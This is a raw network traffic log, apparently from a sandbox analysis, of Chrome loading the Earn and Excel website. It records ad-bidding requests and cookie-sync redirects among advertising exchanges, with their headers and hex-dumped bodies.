2024-04-11 21:27:06 UTC	681	OUT	POST /openrtb/pbjs?s=1018789 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 2517 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZhhVo0t3uSsAAHTnAOvF5wAA; CMPS=020; CMPRO=020
2024-04-11 21:27:06 UTC	2517	OUT	Data Raw: 7b 22 69 64 22 3a 22 35 38 31 32 65 65 62 63 66 38 33 37 65 61 22 2c 22 73 69 74 65 22 3a 7b 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 22 7d 2c 22 6e 61 6d 65 22 3a 22 45 61 72 6e 20 61 6e 64 20 45 78 63 65 6c 22 2c 22 63 61 74 22 3a 5b 22 49 41 42 39 22 5d 2c 22 73 65 63 74 69 6f 6e 63 61 74 22 3a 5b 22 49 41 42 39 22 5d 2c 22 70 61 67 65 63 61 74 22 3a 5b 22 49 41 42 39 22 5d 2c 22 72 65 66 22 3a 22 22 2c 22 6b 65 79 77 6f 72 64 73 22 3a 22 65 61 72 6e 2c 70 72 6f 66 65 73 73 69 6f 6e 61 6c 73 Data Ascii: {"id":"5812eebcf837ea","site":{"page":"https://earnandexcel.com/","domain":"earnandexcel.com","publisher":{"domain":"earnandexcel.com"},"name":"Earn and Excel","cat":["IAB9"],"sectioncat":["IAB9"],"pagecat":["IAB9"],"ref":"","keywords":"earn,professionals
2024-04-11 21:27:06 UTC	888	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: application/json Content-Length: 36 Connection: close CF-Ray: 872e0f0a5fc1431f-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://earnandexcel.com Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Fri, 11 Apr 2025 21:27:06 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fdnhc9Z3GQ7nQPcnw6fPCT0VysZAIrExlcPsjxcTs5tVm5tsJc5gOEL8GZbDXhcEgACdAq5%2Bq2iNN4cBw3iE8SYL6aeYnouMyBmZiKJyLwy2%2FkgGyTYXWDEONuubqW9YvTEiscCv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:06 UTC	36	IN	Data Raw: 7b 22 69 64 22 3a 22 35 38 31 32 65 65 62 63 66 38 33 37 65 61 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"5812eebcf837ea","seatbid":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.17	50390	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1148	OUT	GET /bh/rtset?ev=AAJYL07MMKsAABPuRNcLSw&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsyn%252Csas%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2&gdpr=0 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: V=8CYd5xB94ljT; VP=part_8CYd5xB94ljT; INGRESSCOOKIE=7acdf80a4cc27df5; pb_rtb_ev=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741\|7bq.0.1; pb_rtb_ev_part=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741\|7bq.0.1
2024-04-11 21:27:06 UTC	1478	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-stage-0 Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: V=8CYd5xB94ljT;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 06-Apr-2025 21:27:06 GMT;Max-Age=31104000;SameSite=None Set-Cookie: VP=part_8CYd5xB94ljT;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Sun, 06-Apr-2025 21:27:06 GMT;SameSite=None;Partitioned Set-Cookie: pb_rtb_ev=3-1qr4\|7bq.0.1\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741\|7dN.0.AAJYL07MMKsAABPuRNcLSw;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Fri, 11-Apr-2025 21:27:06 GMT;Max-Age=31536000;SameSite=None Set-Cookie: pb_rtb_ev_part=3-1qr4\|7bq.0.1\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741\|7dN.0.AAJYL07MMKsAABPuRNcLSw;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Fri, 11-Apr-2025 21:27:06 GMT;SameSite=None;Partitioned Location: https://match.prod.bidr.io/cookie-sync?gdpr=0&bee_sync_partners=syn%2Csas%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=adx&bee_sync_hop_count=2&ev=AAJYL07MMKsAABPuRNcLSw&pid=558502&do=add&gdpr=0 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.17	50383	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	844	OUT	GET /merge?pid=76&3pid=f9abaea3-fca1-485b-bd62-08b6a30fc7ba&gdpr=0&gdpr_consent= HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
2024-04-11 21:27:06 UTC	906	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_76=f9abaea3-fca1-485b-bd62-08b6a30fc7ba; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-11 21:27:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.17	50401	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1061	OUT	GET /usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=8641df54-0b93-402c-9337-7ec42bdf44ca HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:06 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.17	50415	18.164.99.9	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	2660	OUT	GET /e/dtb/bid?src=600&u=https%3A%2F%2Fearnandexcel.com%2F&pid=RW7HWVEjO3yIQ&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22fc%22%3A%22USD%22%2C%22fp%22%3A100%2C%22id%22%3A%22sticky_outstream_desktop%22%2C%22mt%22%3A%22v%22%2C%22s%22%3A%5B%22300x169%22%5D%7D%2C%7B%22sd%22%3A%22adhesion_desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%2C%22fc%22%3A%22USD%22%2C%22fp%22%3A23%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%5D%7D%7D%7D&sg=%7B%22ortb2%22%3A%7B%22site%22%3A%7B%22name%22%3A%22Earn%20and%20Excel%22%2C%22domain%22%3A%22earnandexcel.com%22%2C%22cat%22%3A%5B%22IAB9%22%5D%2C%22sectioncat%22%3A%5B%22IAB9%22%5D%2C%22pagecat%22%3A%5B%22IAB9%22%5D%2C%22page%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22mobile%22%3A1%2C%22privacypolicy%22%3A1%2C%22content%22%3A%7B%22cat%22%3A%5B%22IAB9%22%5D%2C%22language%22%3A%22en%22%2C%22data%22%3A%5B%7B%22name%22%3A%22gumgum.com%22%2C%22ext%22%3A%7B%22segtax%22%3A2%7D%2C%22segment%22%3A%5B%7B%22id%22%3A%22132%22%7D%5D%7D%5D%7D%2C%22keywords%22%3A%22earn%2Cprofessionals%2Cexcel%2Cskills%2Cvba%20course%2Cskill%2Cmarketing%2Cgame%20changer%2Cpowerpoint%20lesson%2Ccomplete%20package%2Cability%2Cprofessional%2Corder%22%2C%22ext%22%3A%7B%7D%7D%7D%7D&schain=1.0%2C1!mediavine.com%2Ca6b3ff189247621e2e58a04c0b9bf64b%2C1%2C%2C%2C&gpp=DBABzw~1---~BqgAAAAAAgA&sm=b3b84b5b-5556-4cb7-9339-43a43ae9e184&pubid=38918095-8e45-4332-88bf-226b3514cb64&gdpre=0&gdprl=%7B%22status%22%3A%22explicit-no-gdpr%22%2C%22enabled%22%3Afalse%7D HTTP/1.1 Host: aax.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:07 UTC	473	IN	HTTP/1.1 200 OK Content-Type: text/javascript;charset=UTF-8 Content-Length: 111 Connection: close Access-Control-Allow-Origin: https://earnandexcel.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Date: Thu, 11 Apr 2024 21:27:06 GMT Server: Server X-Cache: Miss from cloudfront Via: 1.1 5ba825173b1f7429171e730e7ae12588.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: a9l6gGNNkcsicV1zhcz5lENI1-sHcqsFnGpr2Vhy2JxtEd0roKjieA==
2024-04-11 21:27:07 UTC	111	IN	Data Raw: 61 70 73 74 61 67 2e 70 75 6e 74 28 7b 22 63 6d 70 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 69 75 33 3f 63 6d 33 70 70 64 3d 31 26 64 3d 64 74 62 2d 70 75 62 26 63 73 69 66 3d 74 26 67 64 70 72 3d 30 26 64 6c 3d 67 67 5f 61 6e 2d 64 62 35 22 2c 22 63 62 22 3a 22 30 22 7d 29 Data Ascii: apstag.punt({"cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&gdpr=0&dl=gg_an-db5","cb":"0"})

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.17	50412	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	858	OUT	GET /merge?pid=43&gdpr=0&gdpr_consent=&us_privacy=&3pid=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
2024-04-11 21:27:06 UTC	910	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_43=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-11 21:27:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.17	50423	54.205.30.208	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	848	OUT	GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	711	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Thu, 11 Apr 2024 21:27:06 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://pm.w55c.net/ping_match.gif?scc=1&ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= Pragma: no-cache Server: PingMatch/v2.0.30-801-g0076fb7#rel-ec2-master i-02fa2f891636c938e@us-east-1e@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=SFkS50Wi1RV1WO5; Domain=.w55c.net; Expires=Mon, 12 May 2025 07:27:06 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.17	50381	192.96.203.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	867	OUT	GET /bsw_sync?ucf_nid=par-E2B44D84BBBDED8A0B297323E4B4A68&dsp_id=445&bidswitch_ssp_id=pubmatic&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent=&gdpr_pd=&usprivacy= HTTP/1.1 Host: sync.aralego.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	473	IN	HTTP/1.1 302 Found Set-Cookie: sspid=33ab857c-c7a8-3d2f-b484-f07bef77a915; Domain=.aralego.com; Path=/; Expires=Sat, 22 Mar 2025 04:02:43 GMT; Secure; SameSite=None Location: https://x.bidswitch.net/sync?dsp_id=445&user_id=33ab857c-c7a8-3d2f-b484-f07bef77a915&ssp=pubmatic&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705 Vary: Accept, Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 356 Date: Thu, 11 Apr 2024 21:27:06 GMT Connection: close
2024-04-11 21:27:07 UTC	356	IN	Data Raw: 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 64 73 70 5f 69 64 3d 34 34 35 26 61 6d 70 3b 75 73 65 72 5f 69 64 3d 33 33 61 62 38 35 37 63 2d 63 37 61 38 2d 33 64 32 66 2d 62 34 38 34 2d 66 30 37 62 65 66 37 37 61 39 31 35 26 61 6d 70 3b 73 73 70 3d 70 75 62 6d 61 74 69 63 26 61 6d 70 3b 62 73 77 5f 70 61 72 61 6d 3d 34 61 37 35 36 33 38 30 2d 62 37 65 30 2d 34 30 64 38 2d 38 37 66 64 2d 66 39 62 30 30 37 34 63 63 37 30 35 22 3e 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 64 73 70 5f 69 64 3d 34 34 35 26 61 6d 70 3b 75 73 65 72 5f 69 64 3d 33 33 61 62 38 35 37 63 2d 63 37 Data Ascii: <p>Found. Redirecting to <a href="https://x.bidswitch.net/sync?dsp_id=445&user_id=33ab857c-c7a8-3d2f-b484-f07bef77a915&ssp=pubmatic&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705">https://x.bidswitch.net/sync?dsp_id=445&user_id=33ab857c-c7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.17	50409	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	681	OUT	POST /openrtb/pbjs?s=1018789 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 2568 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZhhVo0t3uSsAAHTnAOvF5wAA; CMPS=020; CMPRO=020
2024-04-11 21:27:06 UTC	2568	OUT	Data Raw: 7b 22 69 64 22 3a 22 35 38 31 32 65 65 62 63 66 38 33 37 65 61 22 2c 22 73 69 74 65 22 3a 7b 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 22 7d 2c 22 6e 61 6d 65 22 3a 22 45 61 72 6e 20 61 6e 64 20 45 78 63 65 6c 22 2c 22 63 61 74 22 3a 5b 22 49 41 42 39 22 5d 2c 22 73 65 63 74 69 6f 6e 63 61 74 22 3a 5b 22 49 41 42 39 22 5d 2c 22 70 61 67 65 63 61 74 22 3a 5b 22 49 41 42 39 22 5d 2c 22 72 65 66 22 3a 22 22 2c 22 6b 65 79 77 6f 72 64 73 22 3a 22 65 61 72 6e 2c 70 72 6f 66 65 73 73 69 6f 6e 61 6c 73 Data Ascii: {"id":"5812eebcf837ea","site":{"page":"https://earnandexcel.com/","domain":"earnandexcel.com","publisher":{"domain":"earnandexcel.com"},"name":"Earn and Excel","cat":["IAB9"],"sectioncat":["IAB9"],"pagecat":["IAB9"],"ref":"","keywords":"earn,professionals
2024-04-11 21:27:07 UTC	898	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: application/json Content-Length: 36 Connection: close CF-Ray: 872e0f0b5cf8c40c-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://earnandexcel.com Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Fri, 11 Apr 2025 21:27:06 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fu0ptU1yKqPF4HMgLYASJ%2B9HXf%2FLxYzdtbicYIsl6QCL79cCDIrK3e2NFvWmomY3eKKe0WwfPQ5dhsrbuhDe6VZOx7L4Re%2BWxf%2FtuThaFS8wU7BH%2FEnrFa48yDb2DKR%2Bn278vI8z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:07 UTC	36	IN	Data Raw: 7b 22 69 64 22 3a 22 35 38 31 32 65 65 62 63 66 38 33 37 65 61 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"5812eebcf837ea","seatbid":[]}

